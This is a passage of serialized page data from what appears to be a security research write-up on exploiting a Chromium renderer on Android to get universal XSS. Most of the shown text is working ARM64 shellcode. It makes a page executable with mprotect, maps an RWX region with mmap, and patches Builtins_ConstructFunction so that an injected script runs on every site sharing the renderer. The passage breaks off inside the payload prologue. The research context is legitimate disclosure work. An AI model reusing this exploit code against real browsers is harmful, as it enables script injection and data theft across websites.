},{"type":24,"tag":327,"props":145831,"children":145832},{"style":397},[145833],{"type":29,"value":2988},{"type":24,"tag":327,"props":145835,"children":145836},{"style":346},[145837],{"type":29,"value":2744},{"type":24,"tag":327,"props":145839,"children":145840},{"style":397},[145841],{"type":29,"value":2988},{"type":24,"tag":327,"props":145843,"children":145844},{"style":346},[145845],{"type":29,"value":2744},{"type":24,"tag":327,"props":145847,"children":145848},{"style":397},[145849],{"type":29,"value":145850},"92",{"type":24,"tag":327,"props":145852,"children":145853},{"style":346},[145854],{"type":29,"value":2744},{"type":24,"tag":327,"props":145856,"children":145857},{"style":397},[145858],{"type":29,"value":145859},"50",{"type":24,"tag":327,"props":145861,"children":145862},{"style":346},[145863],{"type":29,"value":2744},{"type":24,"tag":327,"props":145865,"children":145866},{"style":397},[145867],{"type":29,"value":145868},"162",{"type":24,"tag":327,"props":145870,"children":145871},{"style":346},[145872],{"type":29,"value":2744},{"type":24,"tag":327,"props":145874,"children":145875},{"style":397},[145876],{"type":29,"value":2988},{"type":24,"tag":327,"props":145878,"children":145879},{"style":346},[145880],{"type":29,"value":2231},{"type":24,"tag":327,"props":145882,"children":145883},{"class":329,"line":1026},[145884],{"type":24,"tag":327,"props":145885,"children":145886},{"style":346},[145887],{"type":29,"value":141211},{"type":24,"tag":327,"props":145889,"children":145890},{"class":329,"line":1048},[145891,145895,145899,145903,145907,145911,145915,145919,145923,145927,145931],{"type":24,"tag":327,"props":145892,"children":145893},{"style":334},[145894],{"type":29,"value":15417},{"type":24,"tag":327,"props":145896,"children":145897},{"style":356},[145898],{"type":29,"value":142664},{"type":24,"tag":327,"props":145900,"children":145901},{"style":381},[145902],{"type":29,"value":4809},{"type":24,"tag":327,"props":145904,"children":145905},{"style":340},[145906],{"type":29,"value":142673},{"type":24,"tag":327,"props":145908,"children":145909},{"style":346},[145910],{"type":29,"value":349},{"type":24,"tag":327,"props":145912,"children":145913},{"style":356},[145914],{"type":29,"value":140542},{"type":24,"tag":327,"props":145916,"children":145917},{"style":346},[145918],{"type":29,"value":2744},{"type":24,"tag":327,"props":145920,"children":145921},{"style":356},[145922],{"type":29,"value":131869},{"type":24,"tag":327,"props":145924,"children":145925},{"style":346},[145926],{"type":29,"value":66},{"type":24,"tag":327,"props":145928,"children":145929},{"style":356},[145930],{"type":29,"value":131869},{"type":24,"tag":327,"props":145932,"children":145933},{"style":346},[145934],{"type":29,"value":583},{"type":24,"tag":327,"props":145936,"children":145937},{"class":329,"line":1067},[145938,145942,145946,145950,145954,145958,145962,145966,145970,145974],{"type":24,"tag":327,"props":145939,"children":145940},{"style":356},[145941],{"type":29,"value":142709},{"type":24,"tag":327,"props":145943,"children":145944},{"style":381},[145945],{"type":29,"value":4809},{"type":24,"tag":327,"props":145947,"children":145948},{"style":346},[145949],{"type":29,"value":5894},{"type":24,"tag":327,"props":145951,"children":145952},{"style":425},[145953],{"type":29,"value":39627},{"type":24,"tag":327,"props":145955,"children":145956},{"style":356},[145957],{"type":29,"value":142664},{"type":24,"tag":327,"props":145959,"children":145960},{"style":346},[145961],{"type":29,"value":66},{"type":24,"tag":327,"props":145963,"children":145964},{"style":340},[145965],{"type":29,"value":64287},{"type":24,"tag":327,"props":145967,"children":145968},{"style":346},[145969],{"type":29,"value":142738},{"type":24,"tag":327,"props":145971,"children":145972},{"style":356},[145973],{"type":29,"value":45865},{"type":24,"tag":327,"props":145975,"children":145976},{"style":346},[145977],{"type":29,"value":405},{"type":24,"tag":327,"props":145979,"children":145980},{"class":329,"line":1075},[145981,145985,145989,145993,145997,146002,146006,146010],{"type":24,"tag":327,"props":145982,"children":145983},{"style":356},[145984],{"type":29,"value":108671},{"type":24,"tag":327,"props":145986,"children":145987},{"style":346},[145988],{"type":29,"value":66},{"type":24,"tag":327,"props":145990,"children":145991},{"style":340},[145992],{"type":29,"value":108680},{"type":24,"tag":327,"props":145994,"children":145995},{"style":346},[145996],{"type":29,"value":349},{"type":24,"tag":327,"props":145998,"children":145999},{"style":844},[146000],{"type":29,"value":146001},"'DeserializeWasmModule result: '",{"type":24,"tag":327,"props":146003,"children":146004},{"style":381},[146005],{"type":29,"value":4407},{"type":24,"tag":327,"props":146007,"children":146008},{"style":356},[146009],{"type":29,"value":16713},{"type":24,"tag":327,"props":146011,"children":146012},{"style":346},[146013],{"type":29,"value":583},{"type":24,"tag":327,"props":146015,"children":146016},{"class":329,"line":1084},[146017,146021,146025,146029,146033,146037,146041,146045,146049,146053],{"type":24,"tag":327,"props":146018,"children":146019},{"style":334},[146020],{"type":29,"value":42901},{"type":24,"tag":327,"props":146022,"children":146023},{"style":356},[146024],{"type":29,"value":142758},{"type":24,"tag":327,"props":146026,"children":146027},{"style":381},[146028],{"type":29,"value":4809},{"type":24,"tag":327,"props":146030,"children":146031},{"style":334},[146032],{"type":29,"value":38643},{"type":24,"tag":327,"props":146034,"children":146035},{"style":356},[146036],{"type":29,"value":140525},{"type":24,"tag":327,"props":146038,"children":146039},{"style":346},[146040],{"type":29,"value":66},{"type":24,"tag":327,"props":146042,"children":146043},{"style":340},[146044],{"type":29,"value":140579},{"type":24,"tag":327,"props":146046,"children":146047},{"style":346},[146048],{"type":29,"value":349},{"type":24,"tag":327,"props":146050,"children":146051},{"style":356},[146052],{"type":29,"value":16637},{"type":24,"tag":327,"props":146054,"children":146055},{"style":346},[146056],{"type":29,"value":583},{"type":24,"tag":327,"props":146058,"children":146059},{"class":329,"line":1100},[146060,146064,146068,146072,146076,146080,146084,146088,146092],{"type":24,"tag":327,"props":146061,"children":146062},{"style":334},[146063],{"type":29,"value":42901},{"type":24,"tag":327,"props":146065,"children":146066},{"style":356},[146067],{"type":29,"value":39682},{"type":24,"tag":327,"props":146069,"children":146070},{"style":381},[146071],{"type":29,"value":4809},{"type":24,"tag":327,"props":146073,"children":146074},{"style":356},[146075],{"type":29,"value":142758},{"type":24,"tag":327,"props":146077,"children":146078},{"style":346},[146079],{"type":29,"value":66},{"type":24,"tag":327,"props":146081,"children":146082},{"style":356},[146083],{"type":29,"value":44599},{"type":24,"tag":327,"props":146085,"children":146086},{"style":346},[146087],{"type":29,"value":66},{"type":24,"tag":327,"props":146089,"children":146090},{"style":356},[146091],{"type":29,"value":140628},{"type":24,"tag":327,"props":146093,"children":146094},{"style":346},[146095],{"type":29,"value":405},{"type":24,"tag":327,"props":146097,"children":146098},{"class":329,"line":1128},[146099,146103,146107,146111,146115,146119],{"type":24,"tag":327,"props":146100,"children":146101},{"style":356},[146102],{"type":29,"value":108671},{"type":24,"tag":327,"props":146104,"children":146105},{"style":346},[146106],{"type":29,"value":66},{"type":24,"tag":327,"props":146108,"children":146109},{"style":340},[146110],{"type":29,"value":108680},{"type":24,"tag":327,"props":146112,"children":146113},{"style":346},[146114],{"type":29,"value":349},{"type":24,"tag":327,"props":146116,"children":146117},{"style":356},[146118],{"type":29,"value":39796},{"type":24,"tag":327,"props":146120,"children":146121},{"style":346},[146122],{"type":29,"value":583},{"type":24,"tag":327,"props":146124,"children":146125},{"class":329,"line":1148},[146126],{"type":24,"tag":327,"props":146127,"children":146128},{"style":346},[146129],{"type":29,"value":108712},{"type":24,"tag":25,"props":146131,"children":146132},{},[146133],{"type":29,"value":146134},"And this time, it works as expected:",{"type":24,"tag":25,"props":146136,"children":146137},{},[146138],{"type":24,"tag":11511,"props":146139,"children":146142},{"alt":146140,"src":146141},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":24,"tag":235,"props":146144,"children":146146},{"id":146145},"achieving-universal-xss",[146147],{"type":29,"value":146148},"Achieving Universal XSS",{"type":24,"tag":25,"props":146150,"children":146151},{},[146152,146154,146160,146162,146169],{"type":29,"value":146153},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":24,"tag":57,"props":146155,"children":146158},{"href":146156,"rel":146157},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[61],[146159],{"type":29,"value":77056},{"type":29,"value":146161}," from Tencent Security and ",{"type":24,"tag":57,"props":146163,"children":146166},{"href":146164,"rel":146165},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[61],[146167],{"type":29,"value":146168},"research article",{"type":29,"value":146170}," from InterruptLabs.",{"type":24,"tag":25,"props":146172,"children":146173},{},[146174,146176,146183],{"type":29,"value":146175},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":24,"tag":57,"props":146177,"children":146180},{"href":146178,"rel":146179},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[61],[146181],{"type":29,"value":146182},"weaker version",{"type":29,"value":146184}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":24,"tag":25,"props":146186,"children":146187},{},[146188,146190,146196],{"type":29,"value":146189},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":24,"tag":284,"props":146191,"children":146193},{"className":146192},[],[146194],{"type":29,"value":146195},"Builtins_ConstructFunction",{"type":29,"value":146197},", making it a natural target.",{"type":24,"tag":25,"props":146199,"children":146200},{},[146201,146203,146208],{"type":29,"value":146202},"Our goal is for ",{"type":24,"tag":284,"props":146204,"children":146206},{"className":146205},[],[146207],{"type":29,"value":146195},{"type":29,"value":146209}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":24,"tag":1380,"props":146211,"children":146212},{},[146213,146218,146228],{"type":24,"tag":179,"props":146214,"children":146215},{},[146216],{"type":29,"value":146217},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":24,"tag":179,"props":146219,"children":146220},{},[146221,146223],{"type":29,"value":146222},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":24,"tag":284,"props":146224,"children":146226},{"className":146225},[],[146227],{"type":29,"value":146195},{"type":24,"tag":179,"props":146229,"children":146230},{},[146231,146233,146238],{"type":29,"value":146232},"The mmap-ed shellcode then returns to the beginning of ",{"type":24,"tag":284,"props":146234,"children":146236},{"className":146235},[],[146237],{"type":29,"value":146195},{"type":29,"value":146239},", which now proceeds normally",{"type":24,"tag":25,"props":146241,"children":146242},{},[146243],{"type":29,"value":146244},"The ARM64 shellcode implementing this looks as follows:",{"type":24,"tag":317,"props":146246,"children":146250},{"code":146247,"language":146248,"meta":7,"className":146249,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[146251],{"type":24,"tag":284,"props":146252,"children":146253},{"__ignoreMap":7},[146254,146262,146270,146278,146286,146293,146301,146309,146317,146325,146332,146340,146348,146356,146364,146372,146379,146387,146395,146403,146411,146419,146427,146434,146442,146449,146457,146465,146473,146480,146488,146496,146504,146512,146519,146526,146533,146540,146548,146556,146564,146571,146579,146587,146594,146602,146610,146618,146625,146633,146641,146649,146657,146664,146671,146679],{"type":24,"tag":327,"props":146255,"children":146256},{"class":329,"line":330},[146257],{"type":24,"tag":327,"props":146258,"children":146259},{},[146260],{"type":29,"value":146261},"// get return addr to x0\n",{"type":24,"tag":327,"props":146263,"children":146264},{"class":329,"line":367},[146265],{"type":24,"tag":327,"props":146266,"children":146267},{},[146268],{"type":29,"value":146269},"ldr x0, [sp, #0x18]\n",{"type":24,"tag":327,"props":146271,"children":146272},{"class":329,"line":408},[146273],{"type":24,"tag":327,"props":146274,"children":146275},{},[146276],{"type":29,"value":146277},"// strip pac signature from return address\n",{"type":24,"tag":327,"props":146279,"children":146280},{"class":329,"line":421},[146281],{"type":24,"tag":327,"props":146282,"children":146283},{},[146284],{"type":29,"value":146285},".arch armv8.3-a; xpaci x0\n",{"type":24,"tag":327,"props":146287,"children":146288},{"class":329,"line":450},[146289],{"type":24,"tag":327,"props":146290,"children":146291},{"emptyLinePlaceholder":16},[146292],{"type":29,"value":544},{"type":24,"tag":327,"props":146294,"children":146295},{"class":329,"line":481},[146296],{"type":24,"tag":327,"props":146297,"children":146298},{},[146299],{"type":29,"value":146300},"// store x5 = Builtins_ConstructFunction\n",{"type":24,"tag":327,"props":146302,"children":146303},{"class":329,"line":500},[146304],{"type":24,"tag":327,"props":146305,"children":146306},{},[146307],{"type":29,"value":146308},"movz x1, #0x610c\n",{"type":24,"tag":327,"props":146310,"children":146311},{"class":329,"line":529},[146312],{"type":24,"tag":327,"props":146313,"children":146314},{},[146315],{"type":29,"value":146316},"sub x0, x0, x1\n",{"type":24,"tag":327,"props":146318,"children":146319},{"class":329,"line":538},[146320],{"type":24,"tag":327,"props":146321,"children":146322},{},[146323],{"type":29,"value":146324},"mov x5, x0\n",{"type":24,"tag":327,"props":146326,"children":146327},{"class":329,"line":547},[146328],{"type":24,"tag":327,"props":146329,"children":146330},{"emptyLinePlaceholder":16},[146331],{"type":29,"value":544},{"type":24,"tag":327,"props":146333,"children":146334},{"class":329,"line":557},[146335],{"type":24,"tag":327,"props":146336,"children":146337},{},[146338],{"type":29,"value":146339},"// store x4 = page aligned ConstructFunction\n",{"type":24,"tag":327,"props":146341,"children":146342},{"class":329,"line":586},[146343],{"type":24,"tag":327,"props":146344,"children":146345},{},[146346],{"type":29,"value":146347},"movz x1, #0xf000\n",{"type":24,"tag":327,"props":146349,"children":146350},{"class":329,"line":1017},[146351],{"type":24,"tag":327,"props":146352,"children":146353},{},[146354],{"type":29,"value":146355},"movk x1, #0xffff, lsl #16\n",{"type":24,"tag":327,"props":146357,"children":146358},{"class":329,"line":1026},[146359],{"type":24,"tag":327,"props":146360,"children":146361},{},[146362],{"type":29,"value":146363},"movk x1, #0xffff, lsl #32\n",{"type":24,"tag":327,"props":146365,"children":146366},{"class":329,"line":1048},[146367],{"type":24,"tag":327,"props":146368,"children":146369},{},[146370],{"type":29,"value":146371},"and x4, x5, x1\n",{"type":24,"tag":327,"props":146373,"children":146374},{"class":329,"line":1067},[146375],{"type":24,"tag":327,"props":146376,"children":146377},{"emptyLinePlaceholder":16},[146378],{"type":29,"value":544},{"type":24,"tag":327,"props":146380,"children":146381},{"class":329,"line":1075},[146382],{"type":24,"tag":327,"props":146383,"children":146384},{},[146385],{"type":29,"value":146386},"// mprotect page aligned ConstructFunction RWX\n",{"type":24,"tag":327,"props":146388,"children":146389},{"class":329,"line":1084},[146390],{"type":24,"tag":327,"props":146391,"children":146392},{},[146393],{"type":29,"value":146394},"mov x0, x4\n",{"type":24,"tag":327,"props":146396,"children":146397},{"class":329,"line":1100},[146398],{"type":24,"tag":327,"props":146399,"children":146400},{},[146401],{"type":29,"value":146402},"mov x1, #0x2000\n",{"type":24,"tag":327,"props":146404,"children":146405},{"class":329,"line":1128},[146406],{"type":24,"tag":327,"props":146407,"children":146408},{},[146409],{"type":29,"value":146410},"mov x2, #0x7\n",{"type":24,"tag":327,"props":146412,"children":146413},{"class":329,"line":1148},[146414],{"type":24,"tag":327,"props":146415,"children":146416},{},[146417],{"type":29,"value":146418},"mov x8, #226\n",{"type":24,"tag":327,"props":146420,"children":146421},{"class":329,"line":1176},[146422],{"type":24,"tag":327,"props":146423,"children":146424},{},[146425],{"type":29,"value":146426},"svc #0\n",{"type":24,"tag":327,"props":146428,"children":146429},{"class":329,"line":1184},[146430],{"type":24,"tag":327,"props":146431,"children":146432},{"emptyLinePlaceholder":16},[146433],{"type":29,"value":544},{"type":24,"tag":327,"props":146435,"children":146436},{"class":329,"line":1192},[146437],{"type":24,"tag":327,"props":146438,"children":146439},{},[146440],{"type":29,"value":146441},"mov x6, x5\n",{"type":24,"tag":327,"props":146443,"children":146444},{"class":329,"line":1212},[146445],{"type":24,"tag":327,"props":146446,"children":146447},{"emptyLinePlaceholder":16},[146448],{"type":29,"value":544},{"type":24,"tag":327,"props":146450,"children":146451},{"class":329,"line":4841},[146452],{"type":24,"tag":327,"props":146453,"children":146454},{},[146455],{"type":29,"value":146456},"// mmap RWX for jump dest (uxss_sc)\n",{"type":24,"tag":327,"props":146458,"children":146459},{"class":329,"line":4862},[146460],{"type":24,"tag":327,"props":146461,"children":146462},{},[146463],{"type":29,"value":146464},"mov x0, #0\n",{"type":24,"tag":327,"props":146466,"children":146467},{"class":329,"line":4870},[146468],{"type":24,"tag":327,"props":146469,"children":146470},{},[146471],{"type":29,"value":146472},"mov x1, #0x1000\n",{"type":24,"tag":327,"props":146474,"children":146475},{"class":329,"line":4879},[146476],{"type":24,"tag":327,"props":146477,"children":146478},{},[146479],{"type":29,"value":146410},{"type":24,"tag":327,"props":146481,"children":146482},{"class":329,"line":4913},[146483],{"type":24,"tag":327,"props":146484,"children":146485},{},[146486],{"type":29,"value":146487},"mov x3, #34\n",{"type":24,"tag":327,"props":146489,"children":146490},{"class":329,"line":4938},[146491],{"type":24,"tag":327,"props":146492,"children":146493},{},[146494],{"type":29,"value":146495},"mov x4, #-1\n",{"type":24,"tag":327,"props":146497,"children":146498},{"class":329,"line":4974},[146499],{"type":24,"tag":327,"props":146500,"children":146501},{},[146502],{"type":29,"value":146503},"mov x5, #0\n",{"type":24,"tag":327,"props":146505,"children":146506},{"class":329,"line":4982},[146507],{"type":24,"tag":327,"props":146508,"children":146509},{},[146510],{"type":29,"value":146511},"mov x8, #222\n",{"type":24,"tag":327,"props":146513,"children":146514},{"class":329,"line":4990},[146515],{"type":24,"tag":327,"props":146516,"children":146517},{},[146518],{"type":29,"value":146426},{"type":24,"tag":327,"props":146520,"children":146521},{"class":329,"line":4999},[146522],{"type":24,"tag":327,"props":146523,"children":146524},{"emptyLinePlaceholder":16},[146525],{"type":29,"value":544},{"type":24,"tag":327,"props":146527,"children":146528},{"class":329,"line":5042},[146529],{"type":24,"tag":327,"props":146530,"children":146531},{},[146532],{"type":29,"value":146324},{"type":24,"tag":327,"props":146534,"children":146535},{"class":329,"line":5075},[146536],{"type":24,"tag":327,"props":146537,"children":146538},{"emptyLinePlaceholder":16},[146539],{"type":29,"value":544},{"type":24,"tag":327,"props":146541,"children":146542},{"class":329,"line":5083},[146543],{"type":24,"tag":327,"props":146544,"children":146545},{},[146546],{"type":29,"value":146547},"// at this point:\n",{"type":24,"tag":327,"props":146549,"children":146550},{"class":329,"line":5091},[146551],{"type":24,"tag":327,"props":146552,"children":146553},{},[146554],{"type":29,"value":146555},"// x6 = Builtins_ConstructFunction\n",{"type":24,"tag":327,"props":146557,"children":146558},{"class":329,"line":5100},[146559],{"type":24,"tag":327,"props":146560,"children":146561},{},[146562],{"type":29,"value":146563},"// x5 = mmap page for uxss_sc\n",{"type":24,"tag":327,"props":146565,"children":146566},{"class":329,"line":5176},[146567],{"type":24,"tag":327,"props":146568,"children":146569},{"emptyLinePlaceholder":16},[146570],{"type":29,"value":544},{"type":24,"tag":327,"props":146572,"children":146573},{"class":329,"line":5209},[146574],{"type":24,"tag":327,"props":146575,"children":146576},{},[146577],{"type":29,"value":146578},"// write uxss_sc to mmaped rwx page\n",{"type":24,"tag":327,"props":146580,"children":146581},{"class":329,"line":5217},[146582],{"type":24,"tag":327,"props":146583,"children":146584},{},[146585],{"type":29,"value":146586},"{write_sc(uxss_sc, \"x5\")}\n",{"type":24,"tag":327,"props":146588,"children":146589},{"class":329,"line":5225},[146590],{"type":24,"tag":327,"props":146591,"children":146592},{"emptyLinePlaceholder":16},[146593],{"type":29,"value":544},{"type":24,"tag":327,"props":146595,"children":146596},{"class":329,"line":5263},[146597],{"type":24,"tag":327,"props":146598,"children":146599},{},[146600],{"type":29,"value":146601},"// wipe from cache\n",{"type":24,"tag":327,"props":146603,"children":146604},{"class":329,"line":5276},[146605],{"type":24,"tag":327,"props":146606,"children":146607},{},[146608],{"type":29,"value":146609},"mov x0, x5\n",{"type":24,"tag":327,"props":146611,"children":146612},{"class":329,"line":5289},[146613],{"type":24,"tag":327,"props":146614,"children":146615},{},[146616],{"type":29,"value":146617},"{WIPE_CACHE}\n",{"type":24,"tag":327,"props":146619,"children":146620},{"class":329,"line":5302},[146621],{"type":24,"tag":327,"props":146622,"children":146623},{"emptyLinePlaceholder":16},[146624],{"type":29,"value":544},{"type":24,"tag":327,"props":146626,"children":146627},{"class":329,"line":5360},[146628],{"type":24,"tag":327,"props":146629,"children":146630},{},[146631],{"type":29,"value":146632},"// patch Builtins_ConstructFunction\n",{"type":24,"tag":327,"props":146634,"children":146635},{"class":329,"line":5369},[146636],{"type":24,"tag":327,"props":146637,"children":146638},{},[146639],{"type":29,"value":146640},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":24,"tag":327,"props":146642,"children":146643},{"class":329,"line":38991},[146644],{"type":24,"tag":327,"props":146645,"children":146646},{},[146647],{"type":29,"value":146648},"// and add a pointer to uxss_sc just above new instructions\n",{"type":24,"tag":327,"props":146650,"children":146651},{"class":329,"line":39012},[146652],{"type":24,"tag":327,"props":146653,"children":146654},{},[146655],{"type":29,"value":146656},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":24,"tag":327,"props":146658,"children":146659},{"class":329,"line":87678},[146660],{"type":24,"tag":327,"props":146661,"children":146662},{"emptyLinePlaceholder":16},[146663],{"type":29,"value":544},{"type":24,"tag":327,"props":146665,"children":146666},{"class":329,"line":87691},[146667],{"type":24,"tag":327,"props":146668,"children":146669},{},[146670],{"type":29,"value":146601},{"type":24,"tag":327,"props":146672,"children":146673},{"class":329,"line":87699},[146674],{"type":24,"tag":327,"props":146675,"children":146676},{},[146677],{"type":29,"value":146678},"mov x0, x6\n",{"type":24,"tag":327,"props":146680,"children":146681},{"class":329,"line":87707},[146682],{"type":24,"tag":327,"props":146683,"children":146684},{},[146685],{"type":29,"value":146617},{"type":24,"tag":25,"props":146687,"children":146688},{},[146689,146691,146697,146699,146704,146706,146712],{"type":29,"value":146690},"In the snippet above, ",{"type":24,"tag":284,"props":146692,"children":146694},{"className":146693},[],[146695],{"type":29,"value":146696},"new_compile_instrs",{"type":29,"value":146698}," refers to the instructions written to the beginning of ",{"type":24,"tag":284,"props":146700,"children":146702},{"className":146701},[],[146703],{"type":29,"value":146195},{"type":29,"value":146705}," that invoke the ",{"type":24,"tag":284,"props":146707,"children":146709},{"className":146708},[],[146710],{"type":29,"value":146711},"uxss_sc",{"type":29,"value":146713}," mmap-ed shellcode:",{"type":24,"tag":317,"props":146715,"children":146717},{"code":146716,"language":146248,"meta":7,"className":146249,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[146718],{"type":24,"tag":284,"props":146719,"children":146720},{"__ignoreMap":7},[146721,146729,146736,146744,146752,146759,146767,146775,146782,146790,146798,146805,146813],{"type":24,"tag":327,"props":146722,"children":146723},{"class":329,"line":330},[146724],{"type":24,"tag":327,"props":146725,"children":146726},{},[146727],{"type":29,"value":146728},"bti c\n",{"type":24,"tag":327,"props":146730,"children":146731},{"class":329,"line":367},[146732],{"type":24,"tag":327,"props":146733,"children":146734},{"emptyLinePlaceholder":16},[146735],{"type":29,"value":544},{"type":24,"tag":327,"props":146737,"children":146738},{"class":329,"line":408},[146739],{"type":24,"tag":327,"props":146740,"children":146741},{},[146742],{"type":29,"value":146743},"// store registers that will be overwritten\n",{"type":24,"tag":327,"props":146745,"children":146746},{"class":329,"line":421},[146747],{"type":24,"tag":327,"props":146748,"children":146749},{},[146750],{"type":29,"value":146751},"stp x15, lr, [sp, #-16]!\n",{"type":24,"tag":327,"props":146753,"children":146754},{"class":329,"line":450},[146755],{"type":24,"tag":327,"props":146756,"children":146757},{"emptyLinePlaceholder":16},[146758],{"type":29,"value":544},{"type":24,"tag":327,"props":146760,"children":146761},{"class":329,"line":481},[146762],{"type":24,"tag":327,"props":146763,"children":146764},{},[146765],{"type":29,"value":146766},"// get current rip into x15\n",{"type":24,"tag":327,"props":146768,"children":146769},{"class":329,"line":500},[146770],{"type":24,"tag":327,"props":146771,"children":146772},{},[146773],{"type":29,"value":146774},"adr x15, .\n",{"type":24,"tag":327,"props":146776,"children":146777},{"class":329,"line":529},[146778],{"type":24,"tag":327,"props":146779,"children":146780},{"emptyLinePlaceholder":16},[146781],{"type":29,"value":544},{"type":24,"tag":327,"props":146783,"children":146784},{"class":329,"line":538},[146785],{"type":24,"tag":327,"props":146786,"children":146787},{},[146788],{"type":29,"value":146789},"// load the uxss_sc pointer saved just above new instructions\n",{"type":24,"tag":327,"props":146791,"children":146792},{"class":329,"line":547},[146793],{"type":24,"tag":327,"props":146794,"children":146795},{},[146796],{"type":29,"value":146797},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":24,"tag":327,"props":146799,"children":146800},{"class":329,"line":557},[146801],{"type":24,"tag":327,"props":146802,"children":146803},{"emptyLinePlaceholder":16},[146804],{"type":29,"value":544},{"type":24,"tag":327,"props":146806,"children":146807},{"class":329,"line":586},[146808],{"type":24,"tag":327,"props":146809,"children":146810},{},[146811],{"type":29,"value":146812},"// jump to uxss_sc\n",{"type":24,"tag":327,"props":146814,"children":146815},{"class":329,"line":1017},[146816],{"type":24,"tag":327,"props":146817,"children":146818},{},[146819],{"type":29,"value":146820},"blr x15\n",{"type":24,"tag":25,"props":146822,"children":146823},{},[146824,146829,146831,146836],{"type":24,"tag":284,"props":146825,"children":146827},{"className":146826},[],[146828],{"type":29,"value":146711},{"type":29,"value":146830}," is the mmap-ed shellcode invoked by the patched ",{"type":24,"tag":284,"props":146832,"children":146834},{"className":146833},[],[146835],{"type":29,"value":146195},{"type":29,"value":146837}," to execute our XSS payload. Its prologue looks like this:",{"type":24,"tag":317,"props":146839,"children":146841},{"code":146840,"language":146248,"meta":7,"className":146249,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[146842],{"type":24,"tag":284,"props":146843,"children":146844},{"__ignoreMap":7},[146845,146852,146859,146867,146875,146883,146891,146899,146907,146915,146923,146931,146939,146947,146955,146963,146971,146979,146987],{"type":24,"tag":327,"props":146846,"children":146847},{"class":329,"line":330},[146848],{"type":24,"tag":327,"props":146849,"children":146850},{},[146851],{"type":29,"value":146728},{"type":24,"tag":327,"props":146853,"children":146854},{"class":329,"line":367},[146855],{"type":24,"tag":327,"props":146856,"children":146857},{"emptyLinePlaceholder":16},[146858],{"type":29,"value":544},{"type":24,"tag":327,"props":146860,"children":146861},{"class":329,"line":408},[146862],{"type":24,"tag":327,"props":146863,"children":146864},{},[146865],{"type":29,"value":146866},"// Save full register context\n",{"type":24,"tag":327,"props":146868,"children":146869},{"class":329,"line":421},[146870],{"type":24,"tag":327,"props":146871,"children":146872},{},[146873],{"type":29,"value":146874},"stp x0,  x1,  [sp, #-16]!\n",{"type":24,"tag":327,"props":146876,"children":146877},{"class":329,"line":450},[146878],{"type":24,"tag":327,"props":146879,"children":146880},{},[146881],{"type":29,"value":146882},"stp x2,  x3,  [sp, #-16]!\n",{"type":24,"tag":327,"props":146884,"children":146885},{"class":329,"line":481},[146886],{"type":24,"tag":327,"props":146887,"children":146888},{},[146889],{"type":29,"value":146890},"stp x4,  x5,  [sp, #-16]!\n",{"type":24,"tag":327,"props":146892,"children":146893},{"class":329,"line":500},[146894],{"type":24,"tag":327,"props":146895,"children":146896},{},[146897],{"type":29,"value":146898},"stp x6,  x7,  [sp, #-16]!\n",{"type":24,"tag":327,"props":146900,"children":146901},{"class":329,"line":529},[146902],{"type":24,"tag":327,"props":146903,"children":146904},{},[146905],{"type":29,"value":146906},"stp x8,  x9,  [sp, 